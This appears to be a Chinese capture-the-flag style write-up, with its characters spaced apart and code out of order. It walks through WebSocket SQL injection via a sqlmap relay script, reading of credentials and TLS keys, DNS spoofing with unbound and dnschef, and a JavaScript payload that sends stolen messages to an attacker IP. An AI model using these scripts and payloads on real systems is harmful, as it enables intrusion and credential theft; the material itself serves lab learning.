搜索

[17128] 2021-08-09_利用WebSocket接口中转注入渗透实战

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-18
2021-08-09_利用WebSocket接口中转注入渗透实战 利 用 W e b S o c k e t 接 口 中 转 注 入 渗 透 实 战 w i n d c c t v   F r e e B u f   2 0 2 1 - 0 8 - 0 9 本 次 渗 透 实 战 的 主 要 流 程 为 ： 1 、 信 息 收 集 ， 发 现 W e b S o c k e t 接 口 ； 2 、 使 用 b u r p 对 W e b S o c k e t 接 口 进 行 测 试 ， 发 现 存 在 s q l 注 入 漏 洞 ； 3 、 编 写 中 转 注 入 脚 本 ， 通 过 s q l m a p 跑 出 数 据 库 内 容 ， 并 读 取 重 要 的 配 置 文 件 ； 4 、 通 过 u n b o u n d 搭 建 D N S 服 务 器 ， 结 合 已 有 的 配 置 文 件 ， 使 用 d n s c h e f 进 行 D N S 欺 骗 ； 5 、 D N S 流 量 劫 持 后 获 取 了 用 户 密 码 。 主 要 的 知 识 点 在 于 : 基 于 W e b S o c k e t 接 口 的 s q l m a p 中 转 注 入 ， D N S 服 务 器 的 搭 建 与 欺 骗 ， 下 面 开 始 此 次 渗 透 实 战 之 旅 。 信 息 收 集 信 息 收 集 有 真 实 的 i p ， 那 上 来 首 先 肯 定 是 端 口 扫 描 一 波 ， 看 看 开 了 哪 些 服 务 ： 单 从 端 口 上 看 ， 突 破 点 应 该 在 w e b 服 务 ， u n b o u n d 这 个 服 务 后 续 在 详 细 介 绍 。 在 来 一 波 目 录 扫 描 ： 发 现 一 些 登 录 页 面 ， 逐 一 尝 试 并 没 有 取 得 突 破 。 发 现 了 几 个 子 域 名 ， 在 e t c / h o s t s 文 件 里 添 加 上 ： 逐 个 点 开 观 察 ， 终 于 在 b u r p 里 看 到 一 个 有 意 思 的 东 西 ； w f u z z   - u   h t t p : / / 1 0 . 1 0 . 1 0 . 2 3 2   - H   “ H o s t :   F U Z Z . c r o s s f i t . h t b ”   - w   / r o o t / D e s k t o p / d o m a i n . t x t 1 0 . 1 0 . 1 0 . 2 3 2   c r o s s f i t . h t b   e m p l o y e e s . c r o s s f i t . h t b   g y m . c r o s s f i t . h t b   c r o s s f i t - c l u b . h t b
之 前 接 触 的 少 ， 查 阅 一 波 资 料 后 ， 简 单 介 绍 如 下 ： W e b S o c k e t 初 次 接 触   W e b S o c k e t   的 人 ， 都 会 问 同 样 的 问 题 ： 我 们 已 经 有 了   H T T P   协 议 ， 为 什 么 还 需 要 另 一 个 协 议 ？ 它 能 带 来 什 么 好 处 ？ 答 案 很 简 单 ， 因 为   H T T P   协 议 有 一 个 缺 陷 ： 通 信 只 能 由 客 户 端 发 起 。 举 例 来 说 ， 我 们 想 了 解 今 天 的 天 气 ， 只 能 是 客 户 端 向 服 务 器 发 出 请 求 ， 服 务 器 返 回 查 询 结 果 。 H T T P   协 议 做 不 到 服 务 器 主 动 向 客 户 端 推 送 信 息 。 这 种 单 向 请 求 的 特 点 ， 注 定 了 如 果 服 务 器 有 连 续 的 状 态 变 化 ， 客 户 端 要 获 知 就 非 常 麻 烦 。 我 们 只 能 使 用 ” 轮 询 ” ： 每 隔 一 段 时 候 ， 就 发 出 一 个 询 问 ， 了 解 服 务 器 有 没 有 新 的 信 息 。 最 典 型 的 场 景 就 是 聊 天 室 。 轮 询 的 效 率 低 ， 非 常 浪 费 资 源 （ 因 为 必 须 不 停 连 接 ， 或 者   H T T P   连 接 始 终 打 开 ） 。 因 此 ， 工 程 师 们 一 直 在 思 考 ， 有 没 有 更 好 的 方 法 。 W e b S o c k e t   就 是 这 样 发 明 的 。 它 的 最 大 特 点 就 是 ， 服 务 器 可 以 主 动 向 客 户 端 推 送 信 息 ， 客 户 端 也 可 以 主 动 向 服 务 器 发 送 信 息 ， 是 真 正 的 双 向 平 等 对 话 ， 属 于 服 务 器 推 送 技 术 的 一 种 。 现 在 回 到 我 们 本 次 渗 透 ； p y t h o n 3   - m   w e b s o c k e t s   w s : / / g y m . c r o s s f i t . h t b / w s / p y t h o n 3   - m   w e b s o c k e t s   w s : / / 1 0 . 1 0 . 1 0 . 2 3 2 / w s / 实 际 测 试 这 两 个 效 果 是 一 样 的 ， 任 选 一 个 都 可 以 。 看 到 这 种 j s o n 格 式 的 数 据 ， 联 想 到 的 就 是 s q l 注 入 、 命 令 执 行 、 反 序 列 化 等 。 b u r p 可 以 抓 到 w e b s o c k e t s 的 包 ， （ 再 次 感 叹 神 器 的 强 大 ） 还 可 以 进 行 反 复 的 修 改 ；
最 终 测 试 出 了 参 数 p a r a m s 存 在 注 入 ， 上 s q l m a p 试 试 ， 不 行 在 自 己 写 脚 本 。 s q l m a p 中 转 注 入 中 转 注 入 先 试 试 直 接 s q l m a p 跑 ： 无 法 成 功 。 看 下 p a y l o a d ； （ 有 助 于 加 深 理 解 ） 尝 试 多 次 都 没 有 成 功 ， 后 来 详 细 研 究 了 w s 协 议 的 传 输 过 程 ， 写 了 一 个 中 转 脚 本 ； s q l m a p   - - u r l   " w s : / / 1 0 . 1 0 . 1 0 . 2 3 2 / w s / "   - - d a t a = ' { " p a r a m s " : " h e l p " , " t o k e n " : " a 5 e 6 c 5 a a d e 6 0 a 2 c 4 6 1 9 8 9 3 2 1 8 2 8 0 a 4 5 d 2 a 1 4 2 e 3 b c f 5 8 3 c 8 e 1 9 5 5 c 0 b 5 7 9 f 1 3 0 0 9 " } '   - v   3   - - d b s f r o m   w e b s o c k e t   i m p o r t   c r e a t e _ c o n n e c t i o n i m p o r t   r e f r o m   h t t p . s e r v e r   i m p o r t   B a s e H T T P R e q u e s t H a n d l e r ,   H T T P S e r v e r f r o m   u r l l i b . p a r s e   i m p o r t   u n q u o t e i m p o r t   t h r e a d i n g f r o m   s o c k e t s e r v e r   i m p o r t   T h r e a d i n g M i x I n h o s t n a m e   =   " l o c a l h o s t " s e r v e r p o r t   =   9 0 0 0 d e f   x t ( m s g ) :         m a t c h e s   =   r e . f i n d a l l ( r ' t o k e n " : " ( . * ? ) " ' ,   m s g )         r e t u r n   m a t c h e s [ 0 ] d e f   s e n d _ m s g ( m s g ) :         r e s p   =   " "         w s   =   c r e a t e _ c o n n e c t i o n ( " w s : / / g y m . c r o s s f i t . h t b / w s " )         r e s p   =     w s . r e c v ( )         c u r _ t o k e n   =   x t ( r e s p )         m s g   =   u n q u o t e ( m s g )         m s g   =   m s g . r e p l a c e ( ' " ' ,   " ' " )         d   =   ' { " m e s s a g e " : " a v a i l a b l e " , " p a r a m s " : " ' + m s g + ' " , " t o k e n " : " '   +   c u r _ t o k e n   +   ' " } '         p r i n t ( d )         w s . s e n d ( d )         r e s p   =   w s . r e c v ( )         # p r i n t ( r e s p )
期 间 经 过 反 复 测 试 、 修 改 ， 具 体 过 程 不 在 赘 述 ， 大 家 看 脚 本 就 明 白 了 。 运 行 结 果 截 图 ： 看 下 p a y l o a d ：         # p r i n t ( r e s p )         m a t c h e s   =   r e . f i n d a l l ( r ' m e s s a g e " : " ( . * ? ) " ' ,   r e s p )         p r i n t ( m a t c h e s [ 0 ] )         r e t u r n   m a t c h e s [ 0 ] # s e n d _ m s g ( " 1   a n d   2 = 2 - -   - " ) # s e n d _ m s g ( " 1   a n d   ' a ' = ' a ' - -   - " ) # e x i t ( 0 ) c l a s s   H a n d l e r ( B a s e H T T P R e q u e s t H a n d l e r ) :         d e f   d o _ G E T ( s e l f ) :                 s e l f . s e n d _ r e s p o n s e ( 2 0 0 )                 p a r a m   =   s e l f . p a t h [ 5 : ]                 s e l f . s e n d _ h e a d e r ( ' C o n t e n t - T y p e ' ,   ' t e x t ' )                 s e l f . e n d _ h e a d e r s ( )                 r e s p   =   s e n d _ m s g ( p a r a m )                 s e l f . w f i l e . w r i t e ( b y t e s ( r e s p ,   " u t f - 8 " ) ) c l a s s   T h r e a d i n g S i m p l e S e r v e r ( T h r e a d i n g M i x I n ,   H T T P S e r v e r ) :         p a s s d e f   r u n ( ) :         s e r v e r   =   T h r e a d i n g S i m p l e S e r v e r ( ( ' 0 . 0 . 0 . 0 ' ,   9 0 0 0 ) ,   H a n d l e r )         t r y :                 s e r v e r . s e r v e _ f o r e v e r ( )         e x c e p t   K e y b o a r d I n t e r r u p t :                 p a s s i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         r u n ( ) s q l m a p   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / ? i d = 1     - - d b s   - - l e v e l   5   - - r i s k   3 s q l m a p   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / ? i d = 1     - - l e v e l   5   - - r i s k   3   - D   " e m p l o y e e s "   - T   e m p l o y e e s   - C   u s e r n a m e   - - d u m p s q l m a p   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / ? i d = 1     - - l e v e l   5   - - r i s k   3   - D   " e m p l o y e e s "   - T   e m p l o y e e s   - C   p a s s w o r d   - - d u m p s q l m a p   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / ? i d = 1     - - l e v e l   5   - - r i s k   3   - D   " e m p l o y e e s "   - T   e m p l o y e e s   - C   e m a i l   - - d u m p s q l m a p   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / ? i d = 1     - - l e v e l   5   - - r i s k   3   - D   " e m p l o y e e s "   - T   e m p l o y e e s   - C   e m a i l , t o k e n   - - d u m p   - - f r e s h - q u e r i e s   - - t h r e a d s   1 0
这 里 还 可 以 读 取 文 件 ， 后 面 渗 透 需 要 用 到 ； 不 用 s q l m a p 的 脚 本 ： s q l m a p   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / ? i d = 1     - - l e v e l   5   - - r i s k   3   - D   " c r o s s f i t "   - T   " m e m b e r s h i p _ p l a n s "   - C   " p a s s w o r d "   - - f i l e - r e a d   / e t c / h t t p d . c o n f s q l m a p   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / ? i d = 1     - - l e v e l   5   - - r i s k   3   - D   " c r o s s f i t "   - T   " m e m b e r s h i p _ p l a n s "   - C   " p a s s w o r d "   - - f i l e - r e a d   / e t c / p a s s w d s q l m a p   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / ? i d = 1     - - l e v e l   5   - - r i s k   3   - D   " c r o s s f i t "   - T   " m e m b e r s h i p _ p l a n s "   - C   " p a s s w o r d "   - - f i l e - r e a d   / v a r / u n b o u n d / e t c / u n b o u n d . c o n f s q l m a p   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / ? i d = 1     - - l e v e l   5   - - r i s k   3   - D   " c r o s s f i t "   - T   " m e m b e r s h i p _ p l a n s "   - C   " p a s s w o r d "   - - f i l e - r e a d   / v a r / u n b o u n d / e t c / t l s / u n b o u n d _ s e r v e r . k e y s q l m a p   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / ? i d = 1     - - l e v e l   5   - - r i s k   3   - D   " c r o s s f i t "   - T   " m e m b e r s h i p _ p l a n s "   - C   " p a s s w o r d "   - - f i l e - r e a d   / v a r / u n b o u n d / e t c / t l s / u n b o u n d _ c o n t r o l . p e m s q l m a p   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / ? i d = 1     - - l e v e l   5   - - r i s k   3   - D   " c r o s s f i t "   - T   " m e m b e r s h i p _ p l a n s "   - C   " p a s s w o r d "   - - f i l e - r e a d   / v a r / u n b o u n d / e t c / t l s / u n b o u n d _ c o n t r o l . k e y s q l m a p   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / ? i d = 1     - - l e v e l   5   - - r i s k   3   - D   " c r o s s f i t "   - T   " m e m b e r s h i p _ p l a n s "   - C   " p a s s w o r d "   - - f i l e - r e a d   / v a r / u n b o u n d / e t c / t l s / u n b o u n d _ s e r v e r . p e m s q l m a p   - u   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 0 0 0 / ? i d = 1     - - l e v e l   5   - - r i s k   3   - D   " c r o s s f i t "   - T   " m e m b e r s h i p _ p l a n s "   - C   " p a s s w o r d "   - - f i l e - r e a d   / e t c / r e l a y d . c o n f # ! / u s r / b i n / p y t h o n 3 i m p o r t   j s o n f r o m   w e b s o c k e t   i m p o r t   c r e a t e _ c o n n e c t i o n w s   =   c r e a t e _ c o n n e c t i o n ( " w s : / / 1 0 . 1 0 . 1 0 . 2 3 2 / w s / " ) r   =   w s . r e c v ( ) t   =   j s o n . l o a d s ( r ) [ ' t o k e n ' ] p r i n t ( " #   P r i n t i n g   " e m p l o y e e s "   t a b l e   t o   g e t   e m a i l s   . . .   " ) w s . s e n d ( " { " m e s s a g e " : " a v a i l a b l e " , " p a r a m s " : " 0   U N I O N   A L L   S E L E C T   1 , G R O U P _ C O N C A T ( i d , '   ' , u s e r n a m e , '   ' , p a s s w o r d , '   ' , e m a i l )   f r o m   e m p l o y e e s . e m p l o y e e s - -   - " , " t o k e n " : " "   +   t   +   " r   =   w s . r e c v ( ) t   =   j s o n . l o a d s ( r ) [ ' t o k e n ' ] p r i n t   ( " { : < 2 }   { : < 1 3 }   { : < 6 4 }   { : < 3 2 } " . f o r m a t ( " i d " , " u s e r n a m e " , " p a s s w o r d " , " e m a i l " ) ) f o r   l   i n   r [ r . i n d e x ( " n a m e :   " ) + 6 : l e n ( r ) - 3 ] . s p l i t ( " , " ) :         a   =   l . s p l i t ( "   " )         p r i n t   ( " { : < 2 }   { : < 1 3 }   { : < 6 4 }   { : < 3 2 } " . f o r m a t ( a [ 0 ] , a [ 1 ] , a [ 2 ] , a [ 3 ] ) ) p r i n t ( " n #   D o w n l o a d i n g   t h e   " / v a r / u n b o u n d / e t c / u n b o u n d . c o n f "   f i l e   . . .   " ,   e n d = " " ) w s . s e n d ( " { " m e s s a g e " : " a v a i l a b l e " , " p a r a m s " : " 0   U N I O N   A L L   S E L E C T   1 , H E X ( L O A D _ F I L E ( ' / v a r / u n b o u n d / e t c / u n b o u n d . c o n f ' ) ) - -   - " , " t o k e n " : " "   +   t   +   " " } " ) r   =   w s . r e c v ( ) t   =   j s o n . l o a d s ( r ) [ ' t o k e n ' ] w i t h   o p e n ( ' u n b o u n d . c o n f ' ,   ' w ' )   a s   f :         f . w r i t e ( b y t e a r r a y . f r o m h e x ( r [ r . i n d e x ( " n a m e :   " ) + 6 : l e n ( r ) - 3 ] ) . d e c o d e ( ) ) p r i n t ( " D O N E " ) p r i n t ( " #   D o w n l o a d i n g   t h e   " / v a r / u n b o u n d / d b / r o o t . k e y "   f i l e   . . .   " ,   e n d = " " ) w s . s e n d ( " { " m e s s a g e " : " a v a i l a b l e " , " p a r a m s " : " 0   U N I O N   A L L   S E L E C T   1 , H E X ( L O A D _ F I L E ( ' / v a r / u n b o u n d / d b / r o o t . k e y ' ) ) - -   - " , " t o k e n " : " "   +   t   +   " " } " ) r   =   w s . r e c v ( ) t   =   j s o n . l o a d s ( r ) [ ' t o k e n ' ] w i t h   o p e n ( ' r o o t . k e y ' ,   ' w ' )   a s   f :         f . w r i t e ( b y t e a r r a y . f r o m h e x ( r [ r . i n d e x ( " n a m e :   " ) + 6 : l e n ( r ) - 3 ] ) . d e c o d e ( ) ) p r i n t ( " D O N E " ) p r i n t ( " #   D o w n l o a d i n g   t h e   " / v a r / u n b o u n d / e t c / t l s / u n b o u n d _ s e r v e r . p e m "   f i l e   . . .   " ,   e n d = " " ) w s . s e n d ( " { " m e s s a g e " : " a v a i l a b l e " , " p a r a m s " : " 0   U N I O N   A L L   S E L E C T   1 , H E X ( L O A D _ F I L E ( ' / v a r / u n b o u n d / e t c / t l s / u n b o u n d _ s e r v e r . p e m ' ) ) - -   - " , " t o k e n " : " "   +   t   +   " " } " ) r   =   w s . r e c v ( ) t   =   j s o n . l o a d s ( r ) [ ' t o k e n ' ] w i t h   o p e n ( ' u n b o u n d _ s e r v e r . p e m ' ,   ' w ' )   a s   f :         f . w r i t e ( b y t e a r r a y . f r o m h e x ( r [ r . i n d e x ( " n a m e :   " ) + 6 : l e n ( r ) - 3 ] ) . d e c o d e ( ) ) p r i n t ( " D O N E " ) p r i n t ( " #   D o w n l o a d i n g   t h e   " / v a r / u n b o u n d / e t c / t l s / u n b o u n d _ c o n t r o l . k e y "   f i l e   . . .   " ,   e n d = " " ) w s . s e n d ( " { " m e s s a g e " : " a v a i l a b l e " , " p a r a m s " : " 0   U N I O N   A L L   S E L E C T   1 , H E X ( L O A D _ F I L E ( ' / v a r / u n b o u n d / e t c / t l s / u n b o u n d _ c o n t r o l . k e y ' ) ) - -   - " , " t o k e n " : " "   +   t   +   " " } " )
运 行 后 结 果 如 下 ： 拿 到 用 户 名 和 h a s h ， 破 解 一 波 没 有 结 果 ， 卡 住 了 。 后 来 再 次 查 看 n a m p 的 扫 描 结 果 ， 有 个 8 9 5 3 端 口 运 行 着 u n b o u n d 服 务 ， 详 细 查 阅 了 资 料 ， 明 白 了 u n b o u n d 的 基 本 用 法 和 原 理 ， 结 合 s q l m a p 可 以 读 取 文 件 ， 将 u n b o u n d 的 所 有 配 置 文 件 读 取 到 本 地 ， 就 可 以 冒 充 D N S 服 务 器 ， 实 现 D N S 欺 骗 。 下 面 逐 步 来 实 现 ： u n b o u n d 搭 建 搭 建 D N S 服 务 器 服 务 器 u n b o u n d 是 一 款 相 对 简 单 的 D N S 服 务 软 件 ， 相 对 于 b i n d 9 的 复 杂 配 置 ， 更 适 合 新 手 搭 建 D N S 服 务 器 使 用 。 这 里 只 简 单 作 个 使 用 的 基 本 介 绍 ， 方 便 于 理 解 后 续 的 渗 透 思 路 。 先 看 看 配 置 文 件 （ 作 渗 透 对 各 种 配 置 文 件 都 要 有 深 刻 的 理 解 ） ： w s . s e n d ( " { " m e s s a g e " : " a v a i l a b l e " , " p a r a m s " : " 0   U N I O N   A L L   S E L E C T   1 , H E X ( L O A D _ F I L E ( ' / v a r / u n b o u n d / e t c / t l s / u n b o u n d _ c o n t r o l . k e y ' ) ) - -   - " , " t o k e n " : " "   +   t   +   " " } " ) r   =   w s . r e c v ( ) t   =   j s o n . l o a d s ( r ) [ ' t o k e n ' ] w i t h   o p e n ( ' u n b o u n d _ c o n t r o l . k e y ' ,   ' w ' )   a s   f :         f . w r i t e ( b y t e a r r a y . f r o m h e x ( r [ r . i n d e x ( " n a m e :   " ) + 6 : l e n ( r ) - 3 ] ) . d e c o d e ( ) ) p r i n t ( " D O N E " ) p r i n t ( " #   D o w n l o a d i n g   t h e   " / v a r / u n b o u n d / e t c / t l s / u n b o u n d _ c o n t r o l . p e m "   f i l e   . . .   " ,   e n d = " " ) w s . s e n d ( " { " m e s s a g e " : " a v a i l a b l e " , " p a r a m s " : " 0   U N I O N   A L L   S E L E C T   1 , H E X ( L O A D _ F I L E ( ' / v a r / u n b o u n d / e t c / t l s / u n b o u n d _ c o n t r o l . p e m ' ) ) - -   - " , " t o k e n " : " "   +   t   +   " " } " ) r   =   w s . r e c v ( ) w i t h   o p e n ( ' u n b o u n d _ c o n t r o l . p e m ' ,   ' w ' )   a s   f :         f . w r i t e ( b y t e a r r a y . f r o m h e x ( r [ r . i n d e x ( " n a m e :   " ) + 6 : l e n ( r ) - 3 ] ) . d e c o d e ( ) ) p r i n t ( " D O N E " ) w s . c l o s e ( ) 配 置 u n b o u n d . c o n f 文 件 s e r v e r :                 v e r b o s i t y :   1                 n u m - t h r e a d s :   2     # 线 程 数                 i n t e r f a c e :   1 2 7 . 0 . 0 . 1   # 监 听 地 址 （ 一 般 写 本 机 内 网 i p ）                 i n t e r f a c e :   : : 0                 p o r t :   5 3     # 端 口                 s o - r e u s e p o r t :   y e s     # 为 每 个 线 程 的 传 入 查 询 打 开 专 用 侦 听 套 接 字 。 可 以 更 均 匀 地 将 传 入 查 询 分 布 到 线 程                 c a c h e - m i n - t t l :   6 0     # 解 析 最 小 缓 存 时 间                 c a c h e - m a x - t t l :   6 0 0   # 解 析 最 大 缓 存 时 间                 o u t g o i n g - r a n g e :   8 1 9 2                 a c c e s s - c o n t r o l :   1 0 . 0 . 0 . 0 / 8   a l l o w     # 访 问 控 制 （ 允 许 1 0 段 i p 访 问 本 机 ）                 a c c e s s - c o n t r o l :   1 2 7 . 0 . 0 . 1 / 8   a l l o w     # 允 许 本 机 访 问                 a c c e s s - c o n t r o l :   : : 0 / 0   a l l o w     # 允 许 i p v 6 网 段 访 问                 p r e f e t c h :   y e s         # 消 息 缓 存 元 素 在 它 们 到 期 之 前 被 预 取 以 保 持 缓 存 是 最 新 的                 d o - i p 4 :   y e s                 d o - i p 6 :   y e s                 d o - u d p :   y e s                 d o - t c p :   y e s                 s o - r c v b u f :   8 m                 s o - s n d b u f :   8 m                 m s g - c a c h e - s i z e :   6 4 m       # 消 息 缓 存 的 字 节 数 。 默 认 值 为 4   M B 。                 r r s e t - c a c h e - s i z e :   1 2 8 m       # R R s e t 缓 存 的 字 节 数 。                 o u t g o i n g - n u m - t c p :   2 5 6       # 为 每 个 线 程 分 配 的 传 出 T C P 缓 冲 区 数                 i n c o m i n g - n u m - t c p :   1 0 2 4       # 为 每 个 线 程 分 配 的 传 入 T C P 缓 冲 区 数                 i n c l u d e :   " z o n e . c o n f "       # z o n e . c o n f 文 件 内 容 为 解 析 内 容 ， 如 l o c a l - d a t a :   " m . b a i d u . c o m   A   1 9 2 . 1 6 8 . 1 0 . 1 " ， 也 可 以 使 用 下 面 注 释 的 方 式 配 置 解 析 #                 l o c a l - d a t a :   " m . b a i d u . c o m   6 0 0   A   1 9 2 . 1 6 8 . 1 0 . 1 "     # 其 中 6 0 0 为 解 析 缓 存 时 间 # p y t h o n : r e m o t e - c o n t r o l :         # 这 个 区 间 为 u n b o u n d 控 制 设 置 。 配 置 如 下 内 容 可 以 控 制 u n b o u n d 服 务 ， 利 用 u n b o u n d - c o n t r o l 命 令 对 该 服 务 执 行 开 启 、 关 闭 、 重 启 等 操 作 。                 c o n t r o l - e n a b l e :   y e s                 c o n t r o l - i n t e r f a c e :   1 2 7 . 0 . 0 . 1                 c o n t r o l - p o r t :   8 9 5 3                 s e r v e r - k e y - f i l e :   " / u s r / l o c a l / u n b o u n d / e t c / u n b o u n d / u n b o u n d _ s e r v e r . k e y "                 s e r v e r - c e r t - f i l e :   " / u s r / l o c a l / u n b o u n d / e t c / u n b o u n d / u n b o u n d _ s e r v e r . p e m "                 c o n t r o l - k e y - f i l e :   " / u s r / l o c a l / u n b o u n d / e t c / u n b o u n d / u n b o u n d _ c o n t r o l . k e y "                 c o n t r o l - c e r t - f i l e :   " / u s r / l o c a l / u n b o u n d / e t c / u n b o u n d / u n b o u n d _ c o n t r o l . p e m " f o r w a r d - z o n e :           # 这 个 区 间 为 转 发 设 置                 n a m e :   " . "                 f o r w a r d - a d d r :   8 . 8 . 8 . 8
启 动 服 务 首 先 执 行 . / s b i n / u n b o u n d - c h e c k c o n f 检 查 配 置 文 件 语 法 ， 确 认 无 误 后 进 行 下 一 步 ； 执 行 / s b i n / u n b o u n d - c o n t r o l - s e t u p 生 成 秘 钥 ， 之 后 才 能 使 用 / s b i n / u n b o u n d - c o n t r o l 命 令 ； 最 后 执 行 . / s b i n / u n b o u n d 启 动 服 务 。 L i n u x 客 户 端 测 试 。 在 客 户 端 修 改 / e t c / r e s o l v . c o n f 文 件 , 将 D N S 服 务 器 的 I P 地 址 指 向 上 述 所 配 置 的 授 权 D N S 服 务 器 的 I P 地 址 。 使 用 n s l o o k u p 命 令 验 证 D N S 查 询 结 果 可 见 我 们 的 D N S 服 务 已 经 运 行 成 功 。 在 本 次 渗 透 中 不 用 那 么 复 杂 ， 根 据 上 面 的 测 试 能 理 解 软 件 的 运 行 效 果 就 可 以 了 ， 接 下 来 继 续 我 们 的 渗 透 ： 在 k a l i 里 运 行 ： 新 建 文 件 ： 之 前 下 载 的 u n b o u n d 的 配 置 文 件 u n b o u n d . c o n f 如 下 ： 修 改 为 自 己 的 路 径 ： 在 k a l i 的 a p a c h e 2 网 页 目 录 下 写 入 如 下 2 个 文 件 ： s u d o   a p t   i n s t a l l   u n b o u n d t o u c h   l o c a l _ z o n e s . c o n f e c h o   " < h t m l > < h e a d > < / h e a d > < b o d y > < s c r i p t > w i n d o w . l o c a t i o n = " h t t p : / / x c r o s s f i t . h t b / g o . h t m l " ; < / s c r i p t > < p > R e d i r e c t i n g   . . . < / p > < / b o d y > < / h t m l > "   >   / v a r / w w w / h t m l / p a s s w o r d - r e s e t . p h p
开 启 a p a c h e 2 服 务 ； 访 问 测 试 下 ： 没 问 题 ， 下 面 开 启 D N S 服 务 ； u n b o u n d - c o n t r o l 的 基 本 命 令 格 式 ： 在 k a l i 终 端 里 运 行 ： 在 h o s t s 里 把 这 两 个 域 名 也 加 上 ； 1 0 . 1 0 . 1 0 . 2 3 2   c r o s s f i t . h t b   e m p l o y e e s . c r o s s f i t . h t b   g y m . c r o s s f i t . h t b   c r o s s f i t - c l u b . h t b   x c r o s s f i t . h t b   x e m p l o y e e s . c r o s s f i t . h t b D N S 欺 骗 欺 骗 这 里 使 用 D N S C h e f 这 款 软 件 来 进 行 D N S 欺 骗 ， 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / i p h e l i x / d n s c h e f D N S C h e f 旨 在 为 渗 透 测 试 人 员 和 恶 意 软 件 分 析 师 提 供 一 个 高 度 可 配 置 的 D N S 代 理 。 D N S 代 理 （ 也 称 为 “ F a k e   D N S ” ） 是 用 于 应 用 程 序 网 络 流 量 分 析 以 及 其 他 用 途 的 工 具 。 例 如 ， D N S 代 理 可 以 用 于 伪 造 对 “ b a d g u y . c o m ” 的 请 求 使 其 指 向 本 地 机 器 来 终 止 或 拦 截 ， 而 不 是 指 向 I n t e r n e t 上 的 某 个 真 实 主 机 。 先 测 试 下 基 本 用 法 ： w i n d o w 修 改 d n s 服 务 器 ： f a c k i p 欺 骗 到 指 定 的 i p ， f a c e d o m a i n s 欺 骗 域 名 成 功 实 现 了 D N S 欺 骗 。 在 本 次 渗 透 测 试 中 运 行 如 下 命 令 ： p y t h o n 3   d n s c h e f . p y   - i   1 0 . 1 0 . 1 6 . 1 4   — f a k e d o m a i n s   x e m p l o y e e s . c r o s s f i t . h t b   — f a k e i p   1 2 7 . 0 . 0 . 1   — c o u n t   2 ;   s l e e p   1 ;   p y t h o n 3   d n s c h e f . p y   - i   1 0 . 1 0 . 1 6 . 1 4   — f a k e d o m a i n s x c r o s s f i t . h t b , x e m p l o y e e s . c r o s s f i t . h t b   — f a k e i p   1 0 . 1 0 . 1 6 . 1 4 e c h o   " < h t m l > < h e a d > < s c r i p t   s r c = " h t t p : / / c r o s s f i t - c l u b . h t b / s o c k e t . i o / s o c k e t . i o . j s " > < / s c r i p t > < s c r i p t > v a r   s   =   i o . c o n n e c t ( " h t t p : / / c r o s s f i t - c l u b . h t b " ) ; s . e m i t ( " u s e r _ j o i n " ,   {   u s e r n a m e   :   " A d m i n "   } ) ; s . o n ( " p r i v a t e _ r e c v " ,   ( d )   = >   { v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( ) ; x h r . o p e n ( " G E T " ,   " h t t p : / / 1 0 . 1 0 . 1 6 . 9 / g e t . p h p ? s = "   +   b t o a ( J S O N . s t r i n g i f y ( d ) ) ,   t r u e ) ; x h r . s e n d ( ) ; } ) ; s e r v i c e   a p a c h e 2   s t a r t u n b o u n d - c o n t r o l   - c   m y _ u n b o u n d . c o n f   - s   1 0 . 1 0 . 1 0 . 2 3 2 @ 8 9 5 3   f o r w a r d _ a d d   + i   s o m e . a t t a c k e r . h t b .   @ 5 3 u n b o u n d - c o n t r o l   - c   . / u n b o u n d . c o n f   - s   1 0 . 1 0 . 1 0 . 2 3 2 @ 8 9 5 3   f o r w a r d _ a d d   + i   x e m p l o y e e s . c r o s s f i t . h t b .   1 0 . 1 0 . 1 6 . 1 4 @ 5 3 ;   s l e e p   2 ; u n b o u n d - c o n t r o l   - c   . / u n b o u n d . c o n f   - s   1 0 . 1 0 . 1 0 . 2 3 2 @ 8 9 5 3   f o r w a r d _ a d d   + i   x c r o s s f i t . h t b .   1 0 . 1 0 . 1 6 . 1 4 @ 5 3 d n s c h e f   — f a k e i p = 1 9 2 . 1 6 8 . 2 0 0 . 2   — f a k e d o m a i n s = w w w . b a i d u . c o m , w w w . q q . c o m   — i n t e r f a c e   1 9 2 . 1 6 8 . 2 0 0 . 2 4 3
这 里 渗 透 的 思 路 就 是 ： 既 然 我 们 获 取 了 目 标 服 务 器 的 D N S 配 置 文 件 ， 那 我 们 就 利 用 u n b o u n d 搭 建 一 个 D N S 服 务 器 ， 配 置 与 目 标 服 务 器 相 同 。 在 利 用 D N S C h e f 工 具 来 进 行 D N S 欺 骗 ， 将 受 害 机 器 的 D N S 流 量 全 部 引 导 到 我 们 自 己 搭 建 的 D N S 服 务 器 上 ， 实 现 了 流 量 的 劫 持 ， 并 可 以 对 关 键 数 据 进 行 拦 截 与 分 析 ， 引 导 受 害 机 器 运 行 我 们 定 义 的 恶 意 代 码 。 获 取 用 户 密 码 获 取 用 户 密 码 利 用 前 面 获 取 的 用 户 名 ， 在 k a l i 终 端 里 运 行 ： 看 下 D N S C h e f 的 运 行 情 况 ： 查 看 a p a c h e 日 志 / v a r / l o g / a p a c h e 2 / a c c e s s . l o g ， 就 可 以 发 现 ； 对 这 段 b a s e 6 4 解 码 后 可 得 ： 获 取 了 用 户 的 密 码 ， 然 后 s s h 登 录 ： c u r l   - s   - X   " P O S T "   - H   " H o s t :   x e m p l o y e e s . c r o s s f i t . h t b "   - H   " C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d "   - d   " e m a i l = d a v i d . p a l m e r % 